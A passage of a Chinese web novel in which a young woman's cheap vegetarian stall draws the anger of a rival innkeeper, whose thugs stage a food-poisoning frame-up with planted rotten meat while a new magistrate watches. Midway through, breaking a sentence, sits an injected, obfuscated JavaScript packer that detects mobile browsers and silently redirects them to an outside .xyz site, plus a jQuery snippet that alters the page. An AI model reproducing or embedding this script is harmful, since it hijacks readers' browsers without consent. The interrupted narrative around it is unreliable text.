乳白的豆浆在陶盆里积了半尺深,她挽着湿透的袖子,用竹蜻蜓飞快地挑起锅面结出的豆腐衣。油皮薄得像蝉翼,晾在竹篾上泛着珍珠色,凑近了闻,有股清润的豆香。 “丫头,我去劈点柴。”李屠户的声音从院外传来,拐杖点地的声响一下下敲在青石板上。 “不用爹,”李素头也没抬,“煤炉里的火够用到晌午。” 她手里的活计没停,切香菇时刀刃与案板碰撞,发出均匀的“笃笃”声。卤汁在砂锅里咕嘟冒泡,八角与桂皮的香气混着豆香飘出院墙, “行,那我给你到场地支棚子正正桌椅!” “好嘞!”李素在院里大声应和。 说到场地,还得归功于摆摊李素前一天去自家肉铺附近转了转,虽说那间肉铺早就没了往日的热闹,但好在旁边就是块空地,靠近街角的灾民棚,来往的人也多,不愁客流量,而且离自家房子就几步路,官家问就是自家铺子拓展业务,都不用另外要场地。 “就这儿吧,”当时她就拍了拍手上的灰定下了地方。 回到现在,李素直起腰捶了捶后背,额角的碎发被汗水粘住,她随手抹了一下就转身拿起磨好的豆浆倒进粗布滤袋里。挤压滤袋时雪白的豆浆汩汩流进陶盆,空气中的豆香越发浓郁,混着灶膛里柴火的烟味,竟有种踏实的暖意。 这是做素鸭的第一步——熬豆腐衣。 豆浆在大铁锅里慢慢煮开,表面结出一层薄薄的油皮,像透明的蝉翼。李素用竹蜻蜓再次轻轻一挑,那层油皮就完整地揭了下来,晾在细竹篾上。她的动作熟练,指尖在滚烫的锅沿旁翻飞。 “这味儿倒是香,”支好了棚子,李屠户蹲在灶台边看着晾在竹篾上的豆腐衣舔了舔嘴角。 “这算啥,”李素信心满满,“用这豆子做出来的素斋吃起来还有股肉味儿呢,这可是咱家的核心竞争力。” 李屠户闻言惊讶的回头看李素,“嚯,用素菜做肉,我丫头这么神呢?” 李素对着李屠户神神秘秘的笑了笑,“你就等着就成了。” 她把揭好的豆腐衣浸在调好的卤汁里——那卤汁是用八角、桂皮、香叶熬的,还加了点豆瓣酱,咸香中带着点微辣。豆腐衣吸饱了卤汁,变得油亮诱人,再裹上切碎的香菇和木耳做馅,卷成小卷子,下油锅一炸,金黄酥脆的素鸭就成了。 第一锅素鸭捞出来时,油星还在滋滋作响。李素用筷子夹起一个自己先尝了一口,外酥里嫩,卤汁的香味在嘴里散开,竟真有几分肉的口感,李素眼前一亮,她又夹起来一块儿吹了吹递到父亲嘴边欢欣道:“来,爹,你尝尝。” 李屠户就这李素的筷子小心翼翼地咬了一口,然后,他就如同李素一般眼睛又一亮,一边嚼着一边含糊道:“这……这味道真不赖......还真有股肉味。” 末了李屠户还给李素比了个大拇指:“要不是你说我都拿它当肉吃了。” 李素笑了笑,将炸好的一盘子悉数递给了李屠户。 又炸了几锅,李素紧接着还做了几种粥饭搭着一起卖—— 用碎米和野菜煮的菜粥,加了红豆和南瓜的杂粮粥,还有用豆腐渣做的窝头,都蒸煮得软糯可口。 忙活了一大早上,“李娘子素斋”终于在李家肉铺的门口歪歪斜斜的支了起来。 因为面向的客源不同,再加上本身也有救济乡亲的情节在,李素把价钱也定得极低——素鸭一个两文钱,粥饭一碗一文钱,比溢香楼的最便宜的菜还要便宜一半。 “素鸭两文,菜粥一文——豆子做的素鸭,吃着有肉香嘞!” 李素迎着街就开始喊起来,然而事与愿违,吆喝了半天,李素嗓子都快喊哑了,路过的人只是好奇地打量,最多也就是凑上来说一句香,没人真掏钱买。 李素还真就纳了闷儿了,她歇下嗓子喝了一口水,思衬着自家的东西色香味俱全还便宜,按理说该受穷人家待见才对。可眼前这些灾民攥着手里仅有的几个铜板,眼神在素鸭上打转,却都没有要花的意思。 正犯嘀咕时,李素的目光却突然扫到了蹲在墙根的王大婶。老人怀里抱着个豁口的粗瓷碗,碗底还沾着点刚喝完的野菜糊糊,见李素看过来就赶紧把碗往身后藏了藏。 见状李素心里忽然亮堂了——不是东西不好,是穷怕了。这些人手里的铜板要掰成几瓣花,得先顾着能填饱肚子的杂粮,哪敢轻易尝鲜? 想通了这一环李素就改了战术,她先是站起身拿起两个素鸭用荷叶包好朝着王大婶走过去。老人一开始还没反应过来,左右看了半天发现是朝自己来的瞬间有些惊慌的起身要走,然而李素比她更快,身形瘦高的姑娘几步就窜道王大婶近前,趁着王大婶还没反应过来李素一把把手中的素鸭塞到了王大婶手里。 掌心的温度透过荷叶传到王大婶指尖,这年头大家都珍惜粮食,王大婶手捧着仍也不是留也不是,只得哭丧着脸道:“哎呦李丫头,你这是啥意思,我不饿,也不买.....” “哈?”李素听闻怔愣了一下,随即很快反应过来这是把她当强买强卖的了,她于是哭笑不得的拍了拍王大婶的手,“哪里的话,不是逼您买,我新摊子开业今天不要钱,给大伙尝尝鲜,大婶儿您放心吃,待会还得劳烦您光顾光顾我的摊子给我拉点客呢。” “你这丫头倒是鬼的很,”王大婶听闻也发觉自己理解错了,她有些尴尬的挠了挠头发,然后撕开荷叶包露出里面飘香的东西,犹豫着咬了一口。 酥脆的外皮咬破的瞬间,她原本还倦怠的眼睛一下子就瞪圆了,嘴里的素鸭还没咽下去,王大婶就迅速的看看手里的素鸭又看看笑盈盈的李素,“乖乖......”她细细的嚼着咽下去:“这……这真是豆子做的?咋比肉还香!” 她的嗓门本就洪亮,这一声惊叹更是引得周围的人都看过来。 好机会!看着周围都顿足的人,李素赶紧用更大的嗓门答一边走回摊子一边喊:“对啊对啊,新店开业不要钱,乡亲们都来免费吃饱饱口福!!” 这句话像一句惊雷,一听不要钱,众人立刻就像捅破了窗户纸一样凑了过来,就连刚才路过的那个短打汉子都折了回来,搓着手往前挤。 围观的人你看看我,我看看你,终于那汉子试探着走上前:“给我来一个素鸭,再来碗粥。” “好嘞!”李素爽快的包了个素鸭盛了碗粥给他递过去,直到汉子端着碗走到桌子旁边坐定,李素都没提一句钱的事情,看着人群越发的躁动,李素就趁热打铁道:“明天恢复原价了!今天送完即止!送完即止喽!” 有了种种实例外加李素的吆喝,“李娘子素斋”的摊子前终于躁动了—— “我要两个素鸭!” “给我来碗粥!” “我要两碗!” “放我兜子里带走!!” 没一会儿,摊子前就排起了长队,李素麻利地招呼着,荷叶包素鸭的沙沙声、铜板碰撞的叮当声、还有人们满足的咂嘴声混在一起,热闹得像个小集市。 因为是不挣钱李素也没再另外做新的,刚过头午她早上准备的东西就送的大差不离,李素把凉掉的粥饭和碎菜收集起来分别放在木桶里,寻思着一会儿分给附近的乞丐。 “李丫头,明天还摆吗?”桌椅间不知是谁喊了那么一句,李素一边擦着台子一边答:“摆,摆!就是得要钱啦叔,都是小本生意,我还得吃饭不是。” 李素顿了顿,又赶紧添了一句:“素鸭两文,菜粥一文,都是便宜价不坑乡亲们。” “哎呦——”身后立刻传来惊奇的咂嘴声,“这比朱家酒楼散座的凉菜还得便宜点,味儿还比他家好。” 洪水过后庆阳县需要修堤的活计多,因此工人总会去朱家酒楼的散座解决下早午,但都是吃些咸菜馒头,伙食并不好。 “那可不,”他家连招待知府公子都敢用烂萝卜,何况你们了,李素在心里揶揄到,她面上也还是笑嘻嘻的接着埋汰朱家酒楼,“而且往后我还会再研究些新菜品,便宜又不比朱家酒楼吃的差,就是环境得你们多担待。” 毕竟她这破棚子属实比不上人家正儿八经的房子。 座下那大爷却满不在乎的摆摆手,“洪水里头讨生活的人有口吃的就不错了,去朱家吃饭也是被人看不起,”那大爷好像想起来什么一般,端着粥碗自以为悄没声道:“前儿个说什么来个知府公子,头好几天连一楼那破散座都不让我们坐了,只接待那些有钱的,说是怕我们这些粗人冲撞了人家贵人,要我说啊,还是来李丫头这吃舒心点儿......” 周围应和声四起,李素边笑边擦着手里已经锃亮的盘子,半天都没动地方。 第二日支摊子的时候李娘子素斋门前已经是门庭若市,一连几日都长队都能从街南拍到街北,虽说刨去成本赚的也不多,但好在量够大,李素琢磨着再干个一个月就能连本带利的把钱赚回来了。 傍晚李素将将要收摊的时候带了几个拿荷叶包的素鸭,还有她从肉铺割下来的一小块肉做的狮子头,今天是狗剩头七,不管怎么说自己是要过去上柱香的,然而她刚要走,余光处突然扫到一片青绿的长衫,这年头穿长衫的可不是一般人,李素一抬头,果真看到了程锦明那张素白的脸,一双桃花眼正温柔的看着她。 “程公子?”李素收拾东西的动作一顿,随即下意识的招呼道:“来买素鸭?” 程锦明直着下巴看了看她已经空空如也的摊子,笑道:“听人说城南出了个便宜又好吃的摊子,我一打听竟然是李姑娘的素食铺,本想着前几日就来照顾姑娘生意,但奈何公务交接繁忙,现在才得空来,”然后他又意有所指的把目光落到李素的手上,“不过可惜姑娘已经收摊了,看来今天在下是没办法饱饱口福了。” 李素端着手里的荷包一时给也不是,缩也不是,她一边尬笑着,一边猛然意识到程锦明刚说的“公务交接繁忙”。 公务??? 李素咽了咽口水,小心的问道:“说起公务,程公子莫非是......庆阳新上任的县令?” 然后她就见程锦明如梦初醒的“啊,”了一下,“我没和姑娘说吗?”他于是从袖口里掏出一块令牌,递到李素眼前晃了晃,“我也是刚上任没一周,许是当晚和姑娘谈富民之法甚欢忘说了。” 李素看着那刻的端端正正的令牌两眼一黑,不是吧,真让她赶这么寸搭上了个一看就难伺候的官老爷,现在还瞧上了她给狗剩的素鸭!!! 不管了,她闭着眼睛抱起素鸭“啪嗒”一下就跪下了,然后她咬紧牙关大喊:“民女有眼不识泰山见过县令,但大人能否放过民女的素鸭,这是民女给冤死的友人上供用的,明日民女肯定做好十份素鸭亲自送到大人府上!!!” 李素一边喊一遍心疼着自己的十份素鸭钱,她微微掀开眼皮,却发现空气都沉寂了,周围听到动静的乡亲们都面色不善的看着程锦明,但又因为李素的那一声“县令”不敢上前。 而程锦明—— 正瞠目结舌的看着她,一副恨不得也给她跪下的样子。 “不是,姑娘快请起,我没那个意思,”程锦明赶紧扶起来李素,他一边托起李素的胳膊把她拽起来一边转头对着人群赔笑,李素懵懵地随着他的搀扶站了起来,还不忘紧了紧手中的素鸭。 “大人民女真不是有意不卖您的, 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“多谢大人体量,”李素往旁边走了两步,“友人的事儿......苦主是个无依无靠的乞儿,遭人打死了,若是大人愿意听,不妨和民女坐下说?” 程锦明一听凝重的皱了皱眉头,随即很快点头道:“生逢乱世本就不易,为何还要草菅人命。” 李素引他到身后的木桌子上坐着,听闻有些好笑的给他倒了杯温热的白水,“那大人觉得,什么人的命算命?” “自然是天下芸芸众生,不分高低贵贱都是一条命,”程锦明端着李素递来的温水歪头答道,文弱的脸倒是少有的一身正气,又带着不解,似乎在疑惑李素为什么能问出来这个。 话音落下,他就见李素盯着他的脸愣了片刻,随即突然“扑哧”一声笑了出来,“大人说的是,”面前面容英气的姑娘给自己也倒了一杯温水,捧着茶杯幽幽道:“那大人知不知道我这友人是怎么被打死的。” 程锦明摇了摇头。 “讨饭被溢香楼朱老板打死的,”李素喝了口水压下喉咙间的干涩,接着道:“活生生被踹死的。” 李素转而抬头看程锦明的脸,满意的发现对方果然挂上了怒容,于是李素赶紧一半拉踩前东家,一半真情实感的挂念狗剩念叨,“不瞒大人,我原先在溢香楼帮工,溢香楼每天有很多剩菜剩饭,但朱老板宁可倒掉都不许我们施舍乞丐,我那时心软总偷偷带出去一些,就认识了狗剩,这孩子生前总和我说想吃肉,那天我就从厨房偷了剩肉给他,但我俩运气也不好出门就被朱老板抓了个正着,他在我面前活生生被踹死,后来我也干不下去了就走人了......” 说完李素自己都有些感慨,一时间也不知道怎么接下去,程锦明的脸色随着她的话语越来越凝重,他指尖敲了敲桌面,有些犹疑道:“所以你做素鸭也是为了给......狗剩?”他说最后两个字的时候声音有些艰涩,似乎也是没想到有人会叫这个名字。 李素点点头,“我铺子的素鸭虽说是用大豆做的,但吃起来有股肉味,给狗剩摆上也能尝尝鲜,再者说也不能老拿我家供给溢香楼的肉,现在肉价贵,朱掌柜可是锱铢必较啊。” “那朱掌柜的也不是什么好人,”程锦明捏了捏眉头,虽说他听完这些真的挺想收拾收拾这个朱掌柜,但狗剩的事情证据不足,朱掌柜咬死了他也没办法,这种地方的乡绅最是难缠。 要治他还得先捏住他的尾巴。 想到这,程锦明刚想和李素说什么,但简陋得棚子外就突然传来一阵突兀的喊叫,“李素在这吗?” 李素和程锦明闻声同时回头,只见一堆溢香楼的伙计大步走了进来。青布褂子熨得笔挺,与周围的破败格格不入。 “李姑娘,我们掌柜的请你,”为首的伙计下巴抬得老高对李素道,他们并不认识刚上任的程锦明,只把他当个散客,亦或者李家哪门不入流的亲戚,总之连个正眼都没给他,反倒是将眼神扫过简朴的木桌,神情带着点嫌恶。 “朱掌柜的找我有事?”李素戒备的问,这朱扒皮的狗嘴吐不出象牙,自己去了肯定是捞不到一点好的。 “有事,大事!”正当李素准备拒绝之际,这堆青布褂子身后又窜出一个更年长的蓝褂子,李素看清了来人之后心下一沉—— 刘三彪。 “刘大哥,这是做什么,”把打手头子都请来了李素这下不敢再轻举妄动,生怕这几个人一上头把自己店砸了。 “掌柜的说了,李家肉铺得肉不新鲜,要和姑娘面对面谈谈,不然就不要姑娘家得肉了。” 此话一出李素简直就被气笑了,她信朱掌柜这话都不如信朱平旗能上树,她李家现在的主要生计还是靠给朱家供肉,朱掌柜早不说晚不说非得现在她得铺子开起来抢了他的散客才说,究竟是肉真的不新鲜还是威胁李素大家心里都门儿清。 旁边的程锦明似乎也发现不对,又听他们是朱家来的,看这几个汉子的眼神也变的微妙起来。 然而就在程锦明开口前,李素却突然一放茶杯沉静开口,“行,我跟你们去。” 是祸躲不过,朱掌柜就是朝着她的铺子和李家的营生来的,她不去也得去。 “算你识相,”在一众汉子嘲弄的眼神中,李素理理衣襟站起,她抿抿唇无事他们的暮光向前走,但刚走了两步她就感觉自己被什么东西拽住了,李素疑惑的回头发现竟然是程锦明,他正极其有分寸的捏着她的袖角。 “大人你这是......”李素皱眉小声问道。 但程锦明并没直接答她的话,看着文弱的读书人从长条凳上站起来,挡在李素身前有些不快的俯视那几个汉子,一向温柔的嗓音此刻也显得冰冷起来。 “什么乱七八糟的买卖,我也想瞧瞧,要不也带我一个?” 4. 对峙 程锦明自己一腔热血上了头,然而李素却猛地回身,在程锦明起身的同时又迅速把程锦明大力压了回去,“莫听他瞎说,”李素对着面前的几个汉子赔笑道,话毕,她又回头不赞成的看了一眼满脸莫名其妙的程锦明。 笑话,地方官地位虽高,但有些地方还得和乡绅打通关系才方便,若是程锦明一个根基未稳的地方官刚来岭南就因为帮她得罪了地方的乡绅,那他之后的政绩还要不要,她李素可还不起这么大人情。 “不想出事你就老老实实待着,”李素对着程锦明做口型,然后她就眼见着程锦明似乎也反应过来了李素什么意思,表情变得一秒比一秒难看,不过李素也顾不上这些了,眼见着这些大汉都摩拳擦掌的逼近程锦明,李素一个跨步拦在程锦明身前,冷静道:“你们跟个路人计较什么,在这耽搁了事儿让朱永贵等久了,小心被他扒层皮。” 朱永贵就是朱掌柜的名字,李素深知跟这群头脑简单四肢发达见钱眼开的刁民说什么道理都不好用,非把他们衣食父母搬出来才能吓唬的了他们。 果真,听了李素的话之后刘三彪撸袖子的手一顿,他虽说十分不屑的上上下下扫着李素,喉咙也哼哼唧唧的发出不明的响声,但还真就这么凶神恶煞的把身后几个撸袖子的汉子拦了回去。 “那还不快走,”刘三彪伸手就要拽李素。 “不用你拽,”不在酒楼做工李素也懒得和这种地痞流氓客气,她一闪身灵巧的躲过去,径自丢下一脸不快的刘三彪和面色沉沉的程锦明自己往酒楼的方向去了。 刘三彪赶快跟上,而后者则是深深的看着李素,直到那抹瘦高的身影消失在街角,一并融入那抹令人窒息的青布褂子人墙里,僵坐在长条凳上的他才有了动作。 程锦明松了松捏的发白的指节,脑中尽是李素那无声的口型和冷静的眼神,他莫名有些窘迫—— 自己堂堂一个县令竟被一个小姑娘护在身后,还被她点明了“根基未稳”的困境,一股从未有过的憋屈和无力感,混杂着对李素处境的担忧在他的胸中翻腾。 不过到底是做过官的,能想的清其中利害,程锦明深吸一口气强压下胸中翻涌的怒火和冲动开始思考,他缓缓松开拳头转而端起桌上那杯凉透的白水,眼神锐利地扫过周围窃窃私语、面带忧色的摊贩和食客。 李素说得对,此刻硬碰硬只会让事情变得更糟。 “李丫头……这下可麻烦了,”一个婶子端着空粥碗,忧心忡忡地望着溢香楼的方向。 “朱扒皮找她能有啥好事?”旁边一个常来吃素鸭的修堤汉子愤愤道,“定是看李丫头生意好,眼红了!” “唉,这丫头性子硬,就怕吃亏啊……” 本就不放心的程锦明听着这些议论心中更是一颤,但话语间他的脑子里也很快有了计较:他不能不去,不能明着去,但没人拦着他暗中观察啊。 说干就干,他迅速站起身整理了下微皱的月白长衫,像一个寻常的、关心朋友的书生,不动声色地追着李素的背影,朝溢香楼的方向快步而去。 而此刻溢香楼后院,气氛比岭南的阴雨天更加压抑。 朱永贵没坐在他那张惯常的太师椅上,而是背着手在铺着青石板的院子里踱步,油光满面的脸上阴沉得像是能滴下水。 李素自从被刘三彪等人“请”进来后就被晾在了一边,但她仍站得笔直,眼神平静地迎视着朱永贵,没有丝毫怯懦。 “李素,”好悬没把腿溜瘦一圈的朱永贵终于停下脚步,转过身用三角眼死死盯着她,粘腻的声音不高,却带着刺骨的寒意,“翅膀硬了?敢在我眼皮子底下抢食吃了?” 他倒是没说错,素食铺那边几天就把朱家酒楼的散客抢的干干净净,溢香楼虽说爱做达官贵人的大生意,但这些散客散座也是一笔不小的流水,被人抢了朱永贵自然着急。 但做生意不就是这样的吗,和此消彼长一个道理。 李素扯了扯嘴角,露出一丝没什么温度的浅笑:“朱掌柜这话说的,庆阳县这么大,街边支个小摊讨口饭吃,怎么就成了抢您的食?您溢香楼的贵客,可看不上我那小门小户的素鸭菜粥。” “牙尖嘴利!”朱永贵猛地一拍旁边石桌上的茶具,杯盏叮当乱响,“你那破棚子支在哪?就在那肉铺旁边!那些原本该来我溢香楼散座吃咸菜馒头的苦力,现在全跑去你那儿了!一天少赚多少铜板,你算过吗?!” “朱掌柜家大业大,还差这点散碎铜板?”李素语气依旧平淡,“再者说,我卖的是素斋,用的是豆子野菜,跟您的山珍海味八竿子打不着,客人爱去哪吃,是他们的自由。” “自由?”朱永贵像是听到了天大的笑话,脸上的肥肉都抖动起来,但他还是努力压下脾气,非装出那股子阴阳怪气的调调缓声道:“在这庆阳县,我说的话就是规矩,我定的界就是自由。你坏了我的规矩,就别怪我不客气。” 他猛地凑近一步,油腻的气息喷在李素脸上,“听着,你要是不关你那劳什子素食铺,我们溢香楼断了跟你李家肉铺的买卖。” 看着李素骤然变得难看的脸色,朱永贵满意的搓了搓手指道:“我调查过你的铺子,定价低,原料好,第一天开业还白送,天底下简直找不到第二个比你良心的人了,不过——”他话锋一转,“那又如何呢?本钱还没赚回来呢吧,李素,我看你没了我这笔进项,你拿什么吃饭,拿什么买豆子,拿什么养你那瘸腿的爹,你和你那破摊子都一起等着喝西北风吧!” 朱永贵越说越得意,他手指了指李素的鼻尖,缓缓直起身退后。 这威胁正中李素软肋,李家如今最大的收入来源就是给溢香楼供肉。没了这笔钱,下一步买豆子的本钱可能都成了问题,更别说维持摊子和生活了。 但如此大的危机在前,李素的脸上却没有任何哀求或慌乱的神色,她反而抬起了下巴,眼神锐利的盯着朱掌柜一字一顿道:“朱掌柜好大的威风,何必拿这事儿威胁我,我李素有手有脚,做的素斋乡亲们爱吃,就算没了你这桩买卖,我也饿不死,至于摊子,”她冷笑一声,声音清晰而坚定,“只要乡亲们还愿意来,我就接着支着,你管不着!” 她深知朱永贵的德行,妥协解决不了任何问题,反而会更让这扒皮得寸进尺。 “你!”威胁不成还被李素怼了一顿,朱永贵的脸色也终于端不住了,变得难看起来,“好!好!好得很!李素,你有种!”他指着李素的鼻子,手指因愤怒而颤抖,“给脸不要脸是吧?行!咱们走着瞧!我看你那破摊子能撑几天!” 他阴鸷的目光扫过李素倔强的脸,转向旁边的刘三彪,那汉子被他看的站直了身,一副任君差遣的狗腿样。 朱永贵压了压脾气沉声道:“彪子,带她走吧,死丫头跟个竹竿子一样晃得我心烦。” 这就让她走了?李素意外的挑挑眉,不过此地不宜久留,她一句话没多说就跟刘三彪要走,然而就在她迈出门的前一刻,朱永贵阴损的声音在她背后响起硬生生拖住了她前进的脚步。 只听身后人有所指地拖长了调子慢慢道:“彪子啊,最近城里不太平,流民地痞多得很,专爱盯着那些……扎眼的新摊子。李姑娘一个姑娘家家的,□□么大个摊子可得小心门户,别让人盯上了,‘不小心’砸了锅,掀了灶,你可得好好照看照看李姑娘。”他刻意加重了“不小心”三个字。 这就是赤裸裸的威胁了。 李素回头狠狠瞪了朱永贵一眼,朱永贵倒是气定神闲的朝李素拜拜手,而刘三彪在她旁边配合地狞笑一声,捏了捏拳头,指节发出咔吧的脆响。 她心头怒火翻腾却只能强自压下,如今她势单力薄起冲突不会有任何好处,再多的不甘与愤怒也只能自己消化,李素深深呼吸了几口气冷声道:“不劳朱掌柜安排人送了,我自己能回去。” 说完她就甩开刘三彪自己走了,这回朱永贵倒是没拦着她。 只是李素若是此时回头,一定能见到他那志在必得的恶心笑容。 接下来的两天,“李娘子素斋”摊前果然风波不断。 今日李素开摊没多久,就见一个流里流气的汉子就在队伍里故意推搡,动作间目的明确的打翻了一位老妇人的粥碗,滚烫的粥水瞬间就溅了那老人一身,惹得老人惊叫一声,队伍也顿时骚乱起来。 “哎呦!对不住对不住!脚滑了!”那泼皮嬉皮笑脸毫无歉意,眼神挑衅地看着李素。 还在做饭的李素见状立刻拿着木勺就冲过去扶起老人,她一边连声道歉一边麻利地用自己的帕子给老人擦拭,同时又扬声对正一瘸一拐冲过来的李屠户喊道:“爹,麻烦你先扶这位阿婆去后面用凉水冲冲,我柜子里有獾油,赶紧给抹上!” 交代完李素就猛地转身,一把拽住了要跑的泼皮,她扬起手边舀粥的大木勺直直戳向。他的上半身。 “脚滑?”李素的声音冷得像冰,“我看你是骨头痒了!”话音未落,她就抡圆了木勺朝他打过去。 她李素穿过来之前做饭做了十几年,穿过来之后又一直在不停的在干活,技巧和力气都不是盖的,那带着风声的木勺顷刻间就狠狠砸在那泼皮的肩胛骨上,随着“砰”的一声闷响,带着滚烫粥水的实木的勺子硬生生被打出了个裂缝。 “嗷——!”那泼皮猝不及防的惨叫一声,痛得龇牙咧嘴,半边身子都麻了。 “滚!”李素柳眉倒竖,杏眼圆睁,手里紧握着木勺像一头发怒的母豹,“再敢来捣乱,下一勺砸你脑袋上!看看是你的头硬,还是我的勺硬!” 泼皮被她的气势和肩膀火辣辣的剧痛彻底震慑住,又看到周围食客愤怒围拢过来的目光,哪还敢逞凶,捂着肩膀骂骂咧咧地挤出人群,狼狈逃窜。 李素深知这还没完,那朱扒皮定会找一堆不讲理的混混来砸她的场子,庆阳律法完善那狗东西不一定敢真砸了她的摊子,但一直有人闹事也很影响客流量。 果真第二天庆阳关于“李素惹了朱永贵”的传言就不知道从哪起来了,看着摊子前至少少了一小半的客流量和就算是来的大部分也都畏畏缩缩,一脸犹疑的不敢看她的食客,李素心里就一阵窝火。 死朱扒皮给她生意都吓得不景气了—— 正想着,李素一抬眼,面前却又突然出现两个混混似的人物。 不是吧,又来...... 李素的火气“噌”一下就冒了出来,她眼睁睁看着他们俩买好素鸭,其中一个咬一口嚼都没嚼就“噗”地吐在地上,随即就捂着肚子夸张地哀嚎起来:“哎呦喂!这什么东西!臭的!馊的!吃死人了!黑心肝的摊贩啊!”一边喊一边就要去掀桌子。 好在李素早有防备,她一个箭步上前双手死死按住桌沿,因为常年在厨房劳作,力气不小,加上满腔怒火,竟让那个混混一时掀不动。 “放屁!肚子疼还有力气掀桌子?”李素厉声喝道,声音盖过他的嚎叫,“我摊子的东西干干净净,童叟无欺!昨天泡的豆子,今早现磨的浆,卤汁也是新熬的!你们俩眼生的很,不是朱永贵派来捣乱的狗腿子就是想吃白食讹人?门都没有!” 她猛地发力一推,将人推了个趔趄,同时反手从案板上抄起那把磨得锃亮的菜刀,“咣当”一声狠狠剁在案板上!刀刃寒光闪闪,映着她冰冷决绝的脸。 那混混被这菜刀吓得一聚灵,然而意料之外的是他并没急着跑,也没急着站起来和李素打,反而眼神乱瞟李素背后做菜那个位置,直到看到了什么一样才起身欲逃。 然而就在他刚起来那一下,一双冰凉的手却突然搭上了他的肩膀,混混僵硬的回头,发现一个面容俊逸的男子正笑眯眯的按着他的肩膀,眼睛却没什么温度的看着他。 “程大人?你怎么在这......”李素颇为意外地捏着菜刀看着来人,程锦明却抬手打断了她,没急着应她的话,其实他也不是很清楚自己偷偷摸摸跟了李素三天这件事该怎么解释, 于是他清咳两声,转而低头抓着地上混混的头发问:“朱永贵派你们来闹事的?” 那混混却只鼓着嘴并不答话,他一脸挑衅的看着程锦明,好像还在等什么一样—— 直到程锦明听到了身后响起的脚步声,那混混才一下子毫无征兆的晕了过去。 “幺儿!!你醒醒,幺儿!!” 程锦明被这突然的动作吓了一跳,然而他还没收回手,身后突然又挤过来一个汉子将程锦明往旁边一拱,就开始抱着地上那个混混放声大哭。 程锦明被他拱的一个踉跄,待他回头看时发现这人似乎是刚才来闹事的两个人其中之一,刚离得太远没看清楚,但这副地痞流氓样他是不会认错的。 “你们两个有完没完!”果然,李素愤怒的话语也让程锦明笃定了他的猜想。 不过地上的人却并没有因为李素的话停下来,反而哭的更起劲儿了,那汉子一边哭喊着“幺弟!你怎么就吃了坏东西吃犯了病了!!”一边狠狠按压着地上汉子的胸膛。 躁动引得周围的乡亲们都聚过来了,李素和程锦明深觉不对,二人面色不善的对了一个眼神。 仿佛印证他们的第六感,下一秒,地上那汉子就突然开始从嘴里吐东西—— 秽物里赫然有刚吃下去的、尚未消化的素鸭碎块,更令人头皮发麻、胃里翻江倒海的是,呕吐物里似乎夹杂着一些细小的、正在蠕动着的白色蛆虫! 李素当时就变了脸色,周围人都被这冲击力极高的场面吓得四散,那清醒着的汉子见状叫的更起劲了,他抬头眼睛血红,煞有介事的对着李素怒吼道:“你个奸商,你给俺弟弟吃了啥!!俺弟弟本来身体就差!!” 李素抱臂看着地上装死混混的一身腱子肉冷笑了一声,但还没等她开口,那汉子就打断了她又朝着铺子外头大喊:“弟兄们!都来给我查!!!非把这个小娘们扭送到官府不可!” 紧接着他的话,一堆汉子就都涌了进来目的明确的直奔她的灶台。 如此心急,如此拙劣,李素简直就要被活生生气笑了。 联想到刚才莫名其妙消失的混混,李素敢笃定自己的食材一定被动手脚了。 她眼睁睁看着那群乌合之众对着她的菜篮子一顿乱翻,将原本码放整齐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995015|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香菇、木耳、泡发好的黄豆胡乱地扒拉出来,撒得满地都是,嘴里还不住地叫嚷: “黑心摊贩!给俺们看看你用的啥烂菜叶子!” “肯定就是这些东西吃坏了人!” “搜!仔细搜!把证据找出来!” 混乱中,一个汉子背对着人群,手飞快地探进那个装着新鲜香菇的藤条筐底部,似乎摸索着什么。李素眼神锐利如鹰紧紧盯着他的一举一动,心头警铃大作——刚才那个混混晕倒前,眼神瞟的就是这个方向,她几乎能预见接下来会发生什么。 果然,那汉子猛地从筐底抽出手,高高举起一块东西,脸上挤出夸张的愤怒和“震惊”,声音拔得老高,生怕别人听不见:“找到了!大家快看!这是什么?!” 他手里捏着的,赫然是一块颜色发暗发绿、边缘已经腐败流脓、散发着刺鼻恶臭的碎肉块!更令人作呕的是,那烂肉上,正有数条细小的白色蛆虫在蠕动! “呕——!”围观人群中立刻响起一片干呕声,一些原本还半信半疑的食客们脸色煞白,看向李素的眼神充满了恐惧和厌恶,一些食客果断地放下筷子,高声道: “天杀的!果然是用烂肉做的!” “怪不得吃坏了人!呕……” “李丫头!我看你们李家可怜照顾照顾你们生意,你怎么能,怎么能......啊呀!” 除此之外,仍有一些人似乎注意到了这拙劣骗局的疑点,他们试图压下了身边长吁短叹的食客,但那群食客似乎毫无觉察一般,还在自顾自地拍大腿。 到这李素便明白了,合着这是个连环套啊! “朱掌柜来了!朱掌柜您快给大伙儿评评理啊!”一团乱麻之际,不知谁喊了一声,李素探头就见朱永贵腆着肚子,在一脸忧心忡忡的刘三彪陪同下,迈着方步踱进了这混乱的现场。 他先是装模作样地扫了一眼地上痛苦抽搐的“病人”和汉子手里那令人作呕的“铁证”,脸上立刻堆满了痛心疾首和义愤填膺。 “哎呀呀!李素!我原以为你只是年轻气盛,不懂规矩,抢点生意也就罢了!万万没想到啊!”朱永贵指着那块烂肉,声音洪亮,仿佛正义的化身,“你竟敢用这等肮脏下贱的腐肉烂菜做吃食卖给乡亲们?!这是草菅人命!丧尽天良!我朱永贵虽是商人,却也知仁义廉耻!今日这事,我绝不能坐视不理!”他一边说着,一边从袖口里捻出几张叠得整整齐齐的银票,那厚实的样子,显然是准备上下打点用的。 刚才附和那些汉子的乡亲们看见这银票喊得更带劲了,听的李素心里一阵阵的发寒。 然而朱永贵还不满足一样,转向那个举着烂肉的汉子一脸沉痛地下令:“这位兄弟,还有地上那位受苦的乡亲,你们放心!我朱永贵定会为你们讨回公道!彪子!把李素和这些证据都给我捆好了,一并扭送官府!请县丞大人明察秋毫,严惩这等祸害乡邻的奸商!” 